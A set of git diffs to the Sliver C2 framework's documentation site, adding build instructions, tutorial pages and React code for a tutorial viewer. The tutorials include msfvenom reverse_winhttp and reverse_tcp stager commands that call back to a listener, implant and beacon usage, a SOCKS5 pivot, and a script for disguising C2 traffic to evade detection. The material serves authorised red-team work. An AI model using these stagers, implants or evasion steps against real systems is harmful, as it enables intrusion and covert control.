||||
This will create `sliver-server` and `sliver-client` binaries.
|
||||
|
||||
#### Cross-compile to Specific Platforms
|
||||
|
||||
You can also specify a target platform for the `make` file, though you may need cross-compilers (see below):
|
||||
|
||||
```
|
||||
$ make macos
|
||||
$ make macos-arm64
|
||||
$ make linux
|
||||
$ make linux-arm64
|
||||
$ make windows
|
||||
```
|
||||
|
||||
### Docker Build
|
||||
|
||||
The Docker builds are mostly designed for running unit tests, but can be useful if you want a "just do everything" build, you just need to have Docker installed on the machine. First `git clone` the Sliver repo, then run the `build.py` script (the script isn't required but has a few short cuts see `./build.py --help`). Alternatively, execute the following command:
|
||||
There are a few Docker targets available depending on your needs:
|
||||
|
||||
- `test` - Runs the unit tests
|
||||
- `production` - Builds the production Docker image, including optional dependencies like Metasploit
|
||||
- `production-slim` - Builds the production Docker image, but without Metasploit and other optional dependencies
|
||||
|
||||
From the project root directory run:
|
||||
|
||||
```
|
||||
docker build -t sliver .
|
||||
docker build --target production -t sliver .
|
||||
```
|
||||
|
||||
#### Compiling Sliver on Kali Linux
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/sliver-docker-production.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
|
||||
|
||||
### Windows Builds
|
||||
|
||||
**NOTE:** Starting with v1.1.0 in order to cross-compile Windows builds you'll need `mingw` on your system:
|
||||
|
||||
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
|
||||
- MacOS `brew install mingw-w64`
|
||||
|
||||
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
|
||||
|
||||
## Developers
|
||||
# Developers
|
||||
|
||||
If you want to modify any of the `.proto` files you'll need to setup a few additional tools to regenerate the `.pb.go` files.
|
||||
|
||||
- Protoc v3.19.4 or later
|
||||
- Protoc libprotoc v26.1 or later
|
||||
- Protoc-gen-go v1.27.1
|
||||
- Protoc-gen-go-grpc v1.2.0
|
||||
|
||||
@@ -95,3 +78,66 @@ Ensure that these are both on your `$PATH` after running the commands, if not yo
|
||||
```
|
||||
$ make pb
|
||||
```
|
||||
|
||||
# Sliver v1.5.x
|
||||
|
||||
- When compiling v1.5.x use Go v1.20.7 you can check your version using `go version`. You can use the [Go Version Manager](https://github.com/moovweb/gvm) to install and manage multiple versions of Go.
|
||||
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
|
||||
|
||||
### Compiling
|
||||
|
||||
First git clone the repository:
|
||||
|
||||
```
|
||||
$ git clone https://github.com/BishopFox/sliver.git
|
||||
$ cd sliver
|
||||
```
|
||||
|
||||
The `master` branch will contain the latest Sliver features, however only release version of Sliver are recommended for production use. It is strongly recommended to checkout the latest tagged release branch when compiling from source unless you're a developer:
|
||||
|
||||
```
|
||||
$ git checkout tags/v1.5.42
|
||||
```
|
||||
|
||||
Sliver embeds its own copy of the Go compiler and a few internal tools, the first time your run `make` a bash script will run to download these assets to your local system. This means the first build will take much longer than subsequent builds, especially if your internet connection is slow.
|
||||
|
||||
By default `make` will build whatever platform you're currently running on:
|
||||
|
||||
```
|
||||
$ make
|
||||
```
|
||||
|
||||
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
|
||||
|
||||
This will create `sliver-server` and `sliver-client` binaries.
|
||||
|
||||
### Cross-compile to Specific Platforms
|
||||
|
||||
You can also specify a target platform for the `make` file, though you may need cross-compilers (see below):
|
||||
|
||||
```
|
||||
$ make macos
|
||||
$ make macos-arm64
|
||||
$ make linux
|
||||
$ make linux-arm64
|
||||
$ make windows-amd64
|
||||
```
|
||||
|
||||
### Docker Build
|
||||
|
||||
The Docker builds are mostly designed for running unit tests, but can be useful if you want a "just do everything" build:
|
||||
|
||||
```
|
||||
docker build -t sliver .
|
||||
```
|
||||
|
||||
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
|
||||
|
||||
### Windows Builds
|
||||
|
||||
**NOTE:** In versions of Sliver prior to 1.6.0 you will need mingw to cross-compile Windows builds:
|
||||
|
||||
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
|
||||
- MacOS `brew install mingw-w64`
|
||||
|
||||
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows-amd64` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
|
||||
@@ -10,7 +10,7 @@ For a Linux server, you can also use the one liner installation `curl https://sl
|
||||
{"src": "/asciinema/install-1.cast", "cols": "132"}
|
||||
```
|
||||
|
||||
If you install Sliver via the one liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctrl start sliver`):
|
||||
If you install Sliver via the one liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctl start sliver`):
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
|
||||
@@ -50,7 +50,10 @@ ID Name Protocol Port
|
||||
|
||||
### Metasploit: Bring Your Own Stager
|
||||
|
||||
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole`, `msfvenom` or the `generate stager` command), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
|
||||
**Using Metasploit stagers is only supported on Windows.**
|
||||
|
||||
#### Generating an HTTP stager
|
||||
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole` or `msfvenom`), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
|
||||
|
||||
```
|
||||
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size
|
||||
@@ -60,27 +63,33 @@ This will prepend the size of the payload to the final binary sent to the stager
|
||||
|
||||
Sliver staging listeners only accept `tcp://`, `http://` and `https://` schemes for the `--url` flag. The format for this flag is `scheme://IP:PORT`. If no value is specified for `PORT`, an error will be thrown out.
|
||||
|
||||
We can now generate a stager using the `generate stager` command:
|
||||
Either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type:
|
||||
|
||||
```
|
||||
sliver > generate stager --lhost 192.168.122.1 --lport 1234 --protocol http --save /tmp
|
||||
|
||||
[*] Sliver stager saved to: /tmp/CIRCULAR_BRA
|
||||
```
|
||||
|
||||
By default, the staging protocol used is TCP. The `--protocol` flag can be used to specify either `tcp`, `http` or `https` as the staging protocol.
|
||||
The generated shellcode can now be used on the target system to start a new Sliver session.
|
||||
|
||||
## Generating Stagers with the Metasploit Framework
|
||||
|
||||
The Metasploit framework can also be used to generate stager shellcodes or binaries. One can use either `msfconsole` or `msfvenom` directly, and choose a `custom` payload type:
|
||||
|
||||
```
|
||||
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff -f raw -o /tmp/stager.bin
|
||||
msfvenom --payload windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff --format raw --out /tmp/stager.bin
|
||||
```
|
||||
|
||||
**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.
|
||||
|
||||
Depending on the payload you choose, you can specify additional options, such as HTTP proxy settings. Use the `msfvenom` flag `--list-options` with a payload type or `show advanced` in `msfconsole`.
|
||||
|
||||
#### Generating a TCP stager
|
||||
Use the `stage-listener` command to set up a listener that will send the binary to the stager:
|
||||
|
||||
```
|
||||
silver > stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-size
|
||||
```
|
||||
|
||||
Notice that we are using the `tcp://` scheme because this is a TCP stager. The `--prepend-size` option is still necessary because we will be using Metasploit.
|
||||
|
||||
As above, either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type. Here is an example using `msfvenom`:
|
||||
|
||||
```
|
||||
# LHOST and LPORT should correspond to the --url parameter of your stage-listener command
|
||||
|
||||
msfvenom --payload windows/x64/custom/reverse_tcp LHOST=192.168.122.1 LPORT=1234 --format raw --out /tmp/stager.bin
|
||||
```
|
||||
|
||||
## Custom Stagers
|
||||
|
||||
One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](/docs?name=HTTPS+C2).
|
||||
|
||||
@@ -18,9 +18,8 @@ export default function Home() {
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="grid grid-cols-12 mt-2">
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-5 mr-2">
|
||||
<div className="grid grid-cols-12 mt-2 gap-2 ml-12 mr-12">
|
||||
<div className="col-span-6">
|
||||
<AsciinemaPlayer
|
||||
src="/asciinema/intro.cast"
|
||||
rows="18"
|
||||
@@ -31,7 +30,7 @@ export default function Home() {
|
||||
loop={true}
|
||||
/>
|
||||
</div>
|
||||
<div className="col-span-5 ml-2">
|
||||
<div className="col-span-6 ml-2">
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<div className="flex items-center">
|
||||
@@ -64,21 +63,17 @@ export default function Home() {
|
||||
</CardBody>
|
||||
</Card>
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-10 mt-8">
|
||||
<div className="col-span-12 mt-8">
|
||||
<Divider />
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-10 mt-8">
|
||||
<div className="grid grid-cols-8">
|
||||
<div className="col-span-2">
|
||||
<div className="col-span-12 mt-8">
|
||||
<div className="grid grid-cols-9 gap-2">
|
||||
<div className="col-span-3">
|
||||
<TutorialCard
|
||||
name="Getting Started"
|
||||
description="A quick start guide to get you up and running with Sliver."
|
||||
description="A quick start guide to get you up and running"
|
||||
asciiCast="/asciinema/install-1.cast"
|
||||
cols="133"
|
||||
rows="32"
|
||||
@@ -93,9 +88,27 @@ export default function Home() {
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="col-span-3">
|
||||
<TutorialCard
|
||||
name="Compile From Source"
|
||||
description="How to compile Sliver from source"
|
||||
asciiCast="/asciinema/compile-from-source.cast"
|
||||
cols="133"
|
||||
rows="32"
|
||||
idleTimeLimit={1}
|
||||
showButton={true}
|
||||
buttonText="Read Docs"
|
||||
onPress={() => {
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: { name: "Compile from Source" },
|
||||
});
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
|
||||
<div className="col-span-12 mb-8"></div>
|
||||
</div>
|
||||
|
||||
@@ -1,11 +1,152 @@
|
||||
import MarkdownViewer from "@/components/markdown";
|
||||
import { Tutorials } from "@/util/tutorials";
|
||||
import { Themes } from "@/util/themes";
|
||||
import { faSearch } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import {
|
||||
Card,
|
||||
CardBody,
|
||||
CardHeader,
|
||||
Divider,
|
||||
Input,
|
||||
Listbox,
|
||||
ListboxItem,
|
||||
ScrollShadow,
|
||||
} from "@nextui-org/react";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import Fuse from "fuse.js";
|
||||
import { NextPage } from "next";
|
||||
import { useTheme } from "next-themes";
|
||||
import Head from "next/head";
|
||||
import { useSearchParams } from "next/navigation";
|
||||
import { useRouter } from "next/router";
|
||||
import React from "react";
|
||||
|
||||
const TutorialsIndexPage: NextPage = () => {
|
||||
const { theme } = useTheme();
|
||||
const router = useRouter();
|
||||
|
||||
const { data: tutorials, isLoading } = useQuery({
|
||||
queryKey: ["tutorials"],
|
||||
queryFn: async (): Promise<Tutorials> => {
|
||||
const res = await fetch("/tutorials.json");
|
||||
return res.json();
|
||||
},
|
||||
});
|
||||
|
||||
const params = useSearchParams();
|
||||
const [name, setName] = React.useState("");
|
||||
const [markdown, setMarkdown] = React.useState("");
|
||||
|
||||
React.useEffect(() => {
|
||||
const _name = params.get("name");
|
||||
setName(_name || "");
|
||||
setMarkdown(tutorials?.tutorials.find((tutorial) => tutorial.name === _name)?.content || "");
|
||||
}, [params, tutorials]);
|
||||
|
||||
const [filterValue, setFilterValue] = React.useState("");
|
||||
const fuse = React.useMemo(() => {
|
||||
return new Fuse(tutorials?.tutorials || [], {
|
||||
keys: ["name"],
|
||||
threshold: 0.3,
|
||||
});
|
||||
}, [tutorials]);
|
||||
|
||||
const visibleTutorials = React.useMemo(() => {
|
||||
if (filterValue) {
|
||||
// Fuzzy match display names
|
||||
const fuzzy = fuse.search(filterValue).map((r) => r.item);
|
||||
return fuzzy;
|
||||
}
|
||||
return tutorials?.tutorials || [];
|
||||
}, [tutorials, fuse, filterValue]);
|
||||
|
||||
const listboxClasses = React.useMemo(() => {
|
||||
if (theme === Themes.DARK) {
|
||||
return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium";
|
||||
} else {
|
||||
return "border p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium";
|
||||
}
|
||||
}, [theme]);
|
||||
|
||||
if (isLoading || !tutorials) {
|
||||
return <div>Loading...</div>;
|
||||
}
|
||||
|
||||
const IndexPage: NextPage = () => {
|
||||
return (
|
||||
<div>
|
||||
<p>Coming soon...</p>
|
||||
<div className="grid grid-cols-12">
|
||||
<Head>
|
||||
<title>Sliver Tutorial: {name}</title>
|
||||
</Head>
|
||||
<div className="col-span-3 mt-4 ml-4 h-screen sticky top-20">
|
||||
<div className="flex flex-row justify-center text-lg gap-2">
|
||||
<Input
|
||||
placeholder="Filter..."
|
||||
startContent={<FontAwesomeIcon icon={faSearch} />}
|
||||
value={filterValue}
|
||||
onChange={(e) => setFilterValue(e.target.value)}
|
||||
isClearable={true}
|
||||
onClear={() => setFilterValue("")}
|
||||
/>
|
||||
</div>
|
||||
<div className="mt-2">
|
||||
<ScrollShadow>
|
||||
<div className="max-h-[70vh]">
|
||||
<Listbox
|
||||
aria-label="Toolbox Menu"
|
||||
className={listboxClasses}
|
||||
itemClasses={{
|
||||
base: "px-3 first:rounded-t-medium last:rounded-b-medium rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
|
||||
}}
|
||||
>
|
||||
{visibleTutorials.map((tutorial) => (
|
||||
<ListboxItem
|
||||
key={tutorial.name}
|
||||
value={tutorial.name}
|
||||
onClick={() => {
|
||||
router.push({
|
||||
pathname: "/tutorials",
|
||||
query: { name: tutorial.name },
|
||||
});
|
||||
}}
|
||||
>
|
||||
{tutorial.name}
|
||||
</ListboxItem>
|
||||
))}
|
||||
</Listbox>
|
||||
</div>
|
||||
</ScrollShadow>
|
||||
</div>
|
||||
</div>
|
||||
<div className="col-span-9">
|
||||
{name !== "" ? (
|
||||
<Card className="mt-8 ml-8 mr-8 mb-8">
|
||||
<CardHeader>
|
||||
<span className="text-3xl">{name}</span>
|
||||
</CardHeader>
|
||||
<Divider />
|
||||
<CardBody>
|
||||
<MarkdownViewer
|
||||
key={name || `${Math.random()}`}
|
||||
markdown={markdown || ""}
|
||||
/>
|
||||
</CardBody>
|
||||
</Card>
|
||||
) : (
|
||||
<div className="grid grid-cols-3">
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-1 mt-8 text-2xl text-center">
|
||||
Welcome to the Sliver Tutorials!
|
||||
<div className="text-xl text-gray-500">
|
||||
Please select a chapter
|
||||
</div>
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
export default IndexPage;
|
||||
export default TutorialsIndexPage;
|
||||
@@ -0,0 +1,88 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.
|
||||
|
||||
First time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/startup.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Let's take a couple minutes to discuss what Sliver actually is and how it's set up.
|
||||
|
||||

|
||||
|
||||
Now that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.
|
||||
|
||||
Here's what we're going to do:
|
||||
* Generate your implant using the `generate` command as shown below.
|
||||
* Start HTTP listener on port 80
|
||||
* Execute implant in a separate terminal
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/first-implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Now let’s select our implant and run our first command using the `use` command.
|
||||
|
||||
```bash
|
||||
[server] sliver > use
|
||||
? Select a session or beacon:
|
||||
SESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64
|
||||
[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)
|
||||
|
||||
[server] sliver (RELATED_EARDRUM) > pwd
|
||||
|
||||
[*] /Users/tester/tools
|
||||
```
|
||||
|
||||
Once you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!
|
||||
|
||||
```bash
|
||||
Exploring and interacting with the filesystem
|
||||
|
||||
Filesystem
|
||||
cat Dump file to stdout
|
||||
cd Change directory
|
||||
cp Copy a file
|
||||
download Download a file
|
||||
grep Search for strings that match a regex within a file or directory
|
||||
head Grab the first number of bytes or lines from a file
|
||||
ls List current directory
|
||||
memfiles List current memfiles
|
||||
mkdir Make a directory
|
||||
mount Get information on mounted filesystems
|
||||
mv Move or rename a file
|
||||
pwd Print working directory
|
||||
rm Remove a file or directory
|
||||
tail Grab the last number of bytes or lines from a file
|
||||
upload Upload a file
|
||||
```
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/filesystem.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Getting some environmental information
|
||||
```bash
|
||||
Info
|
||||
env List environment variables
|
||||
getgid Get session process GID
|
||||
getpid Get session pid
|
||||
getuid Get session process UID
|
||||
info Get session info
|
||||
ping Send round trip message to implant (does not use ICMP)
|
||||
screenshot Take a screenshot
|
||||
whoami Get session user execution context
|
||||
```
|
||||
Execute a binary
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/execute.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Running an interactive shell
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/shell.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
@@ -0,0 +1,94 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
Sliver implants support two types of connections, sessions and beacons.
|
||||
|
||||
Sessions use long-polling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.
|
||||
|
||||
Typically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.
|
||||
|
||||
Let’s start with generating and deploying a beacon using `http`.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/beacon_generation.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
You can see the beacon callback times either in the `info` command or using `beacons watch`.
|
||||
|
||||
```bash
|
||||
[server] sliver > beacons watch
|
||||
|
||||
ID Name Transport Username Operating System Last Check-In Next Check-In
|
||||
========== =============== =========== ================= ================== =============== ===============
|
||||
942c647c TIRED_GIRAFFE http(s) tester darwin/amd64 52s 12s
|
||||
|
||||
```
|
||||
|
||||
Beacon callback times and jitter can be set either during generation or on the fly using the `reconfig` command.
|
||||
|
||||
The example below sets the callback time to 5s with a 1s jitter.
|
||||
|
||||
```bash
|
||||
[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s
|
||||
|
||||
[*] Tasked beacon TIRED_GIRAFFE (b8aa6fd8)
|
||||
|
||||
[+] TIRED_GIRAFFE completed task b8aa6fd8
|
||||
|
||||
[*] Reconfigured beacon
|
||||
|
||||
[server] sliver (TIRED_GIRAFFE) > info
|
||||
|
||||
Beacon ID: 942c647c-8409-4877-9fa2-b84a7f27ad45
|
||||
Name: TIRED_GIRAFFE
|
||||
Hostname: tester.local
|
||||
UUID: c6de1a44-016a-5fbe-b76a-da56af41316d
|
||||
Username: tester
|
||||
UID: 501
|
||||
GID: 20
|
||||
PID: 55879
|
||||
OS: darwin
|
||||
Version:
|
||||
Locale:
|
||||
Arch: amd64
|
||||
Active C2: https://127.0.0.1
|
||||
Remote Address: 127.0.0.1:51803
|
||||
Proxy URL:
|
||||
Interval: 1m0s
|
||||
Jitter: 30s
|
||||
First Contact: Wed Apr 19 01:14:21 CEST 2023 (10m30s ago)
|
||||
Last Checkin: Wed Apr 19 01:18:20 CEST 2023 (6m31s ago)
|
||||
Next Checkin: Wed Apr 19 01:19:46 CEST 2023 (5m5s ago)
|
||||
```
|
||||
|
||||
Commands issued for beacons can be viewed using `tasks`, the task state will indicate whether the command has completed or not. The results of previously run tasks can be viewed using `tasks fetch`.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/beacon_tasks.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Session can be spun up using the `interactive` command.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/beacon_interractive.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are not supported and only allowed for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
|
||||
|
||||
Let’s switch to our newly created session and spin-up a `socks5` proxy.
|
||||
|
||||
```bash
|
||||
|
||||
[server] sliver (TIRED_GIRAFFE) > use
|
||||
|
||||
? Select a session or beacon: SESSION 131a60b9 TIRED_GIRAFFE 127.0.0.1:51969 tester.local tester darwin/amd64
|
||||
[*] Active session TIRED_GIRAFFE (131a60b9-db4f-4913-9064-18a17a0f09ab)
|
||||
|
||||
[server] sliver (TIRED_GIRAFFE) > socks5 start
|
||||
|
||||
[*] Started SOCKS5 127.0.0.1 1081
|
||||
⚠️ In-band SOCKS proxies can be a little unstable depending on protocol
|
||||
```
|
||||
|
||||
You can then point your browser to port 1081 to tunnel traffic through the implant to your target’s local network.
|
||||
|
||||
Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session using the `close` command.
|
||||
@@ -0,0 +1,116 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
When generating implants sliver uses a C2Profile configuration, which will be used to generate the effective network configuration of the implant. For example if configured to use /admin and /demo as callback urls, it might use one, the other or both allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
|
||||
|
||||
C2 profile configurations can be seen using the `c2profile` command, which also allows import and export features.
|
||||
|
||||
The full list of possible configuration option can be found in the references section below, but for now lets instead customise the existing configuration.
|
||||
|
||||
Lets imagine we’re trying to breach a customer we've noticed uses ruby-on-rails for their applications. By default sliver will use the following extensions:
|
||||
|
||||
- `.woff` for staging
|
||||
- `.js` for poll requests
|
||||
- `.html` for key exchanges
|
||||
- `.png` for close session
|
||||
- `.php` for session messages
|
||||
|
||||
We will need to update the session messages and staging with something more realistic and replace all references to `woff` or `php` with something less suspicious like `css`, `rb` or `erb`.
|
||||
|
||||
We will also use a list of common Urls and filenames for Ruby on Rails like `https://github.com/danielmiessler/SecLists/blob/master/DiscoveryWeb-Content/ror.txt` for the `*_files` and `*_paths` variables. You could also reuse Urls discovered while enumerating your target's external perimeter in a similar way.
|
||||
|
||||
We will split the urls using a script like the example below, and then update the files and paths variables in our configuration file.
|
||||
|
||||
```python
|
||||
import json
|
||||
import math
|
||||
import sys
|
||||
import random
|
||||
|
||||
|
||||
def updateProfile(c2ProfileName, urls, cookieName):
|
||||
data = open(urls).readlines()
|
||||
c2Profile = open(c2ProfileName, "r").read()
|
||||
jsonC2Profile = json.loads(c2Profile)
|
||||
|
||||
paths, filenames, extensions = [], [], []
|
||||
for line in data:
|
||||
line = line.strip()
|
||||
if "." in line:
|
||||
extensions.append(line.split(".")[-1])
|
||||
|
||||
if "/" in line:
|
||||
segments = line.split("/")
|
||||
paths.extend(segments[:-1])
|
||||
filenames.append(segments[-1].split(".")[0])
|
||||
|
||||
extensions = list(set(extensions))
|
||||
if "" in extensions:
|
||||
extensions.remove("")
|
||||
random.shuffle(extensions)
|
||||
|
||||
filenames = list(set(filenames))
|
||||
if "" in filenames:
|
||||
filenames.remove("")
|
||||
|
||||
paths = list(set(paths))
|
||||
if "" in paths:
|
||||
paths.remove("")
|
||||
|
||||
if len(extensions) < 5:
|
||||
print(f'Got {len(extensions)} extensions, need at least 5.')
|
||||
exit(0)
|
||||
|
||||
if len(paths) < 5:
|
||||
print(f'Got {len(paths)} paths need at least 5.')
|
||||
exit(0)
|
||||
|
||||
if len(filenames) < 5:
|
||||
print(f'Got {len(filenames)} paths need at least 5.')
|
||||
exit(0)
|
||||
|
||||
exts = ['poll_file_ext','stager_file_ext', 'start_session_file_ext', 'session_file_ext', 'close_file_ext' ]
|
||||
for ext in exts:
|
||||
jsonC2Profile["implant_config"][ext] = extensions[0]
|
||||
extensions.pop(0)
|
||||
|
||||
pathTypes = ['poll_paths','stager_paths', 'session_paths', 'close_paths' ]
|
||||
for x, pathType in enumerate(pathTypes):
|
||||
jsonC2Profile["implant_config"][pathType] = paths[math.floor(x*(len(paths)/len(pathTypes))):math.floor((x+1)*(len(paths)/len(pathTypes)))]
|
||||
|
||||
fileTypes = ['poll_files','stager_files', 'session_files', 'close_files']
|
||||
for x, fileType in enumerate(fileTypes):
|
||||
jsonC2Profile["implant_config"][fileType] = filenames[math.floor(x*(len(filenames)/len(fileTypes))):math.floor((x+1)*(len(filenames)/len(fileTypes)))]
|
||||
|
||||
jsonC2Profile["server_config"]["cookies"] = [cookieName]
|
||||
c2Profile = open(c2ProfileName, "w")
|
||||
c2Profile.write(json.dumps(jsonC2Profile))
|
||||
print("C2 Profile updated !")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 4:
|
||||
print("Usage: updateProfile.py myC2Profile myurls.txt cookieName")
|
||||
exit(0)
|
||||
|
||||
updateProfile(sys.argv[1], sys.argv[2], sys.argv[3])
|
||||
```
|
||||
The example below demonstrates how to change and import a profile.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
At this point we can generate a new implant using our new profile.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/implant_custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
If we review the debug logs of our implant we can see that the connections now use our new profile.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/implant_debug_logs.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Ideally during engagements your recon phase should inform your C2 infrastructure, reusing similar hosting providers, technologies and communication protocols can help your implant fly under the radar.
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
When using Sliver during a live engagement, you’re going to need to use custom stagers, which are essentially a first binary or commandline that will retrieve and/or load Sliver into memory on your target system. Sliver can generate shellcode for your stager to execute by using the `profiles` command.
|
||||
|
||||
For this exercise, we will create a new beacon profile and prepare to stage it.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/create_profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
If you look at the generated implant, you'll notice the `ID` field has been populated. When downloading your payload from the staging server your URL needs to be in the form of:
|
||||
```
|
||||
https://sliver-ip/whatever.stager_file_ext?x=yourID
|
||||
```
|
||||
|
||||
There is a lot of flexibility in the form of this URL, the conditions for successful staging are:
|
||||
* The file extension needs to match the c2 profile's stager_file_ext
|
||||
* There has to be a one character http url parameter
|
||||
* The digits found in the ID need to match an implant ID, if your implant ID is 1234, abcd1234, 12beu34 are all valid values
|
||||
|
||||
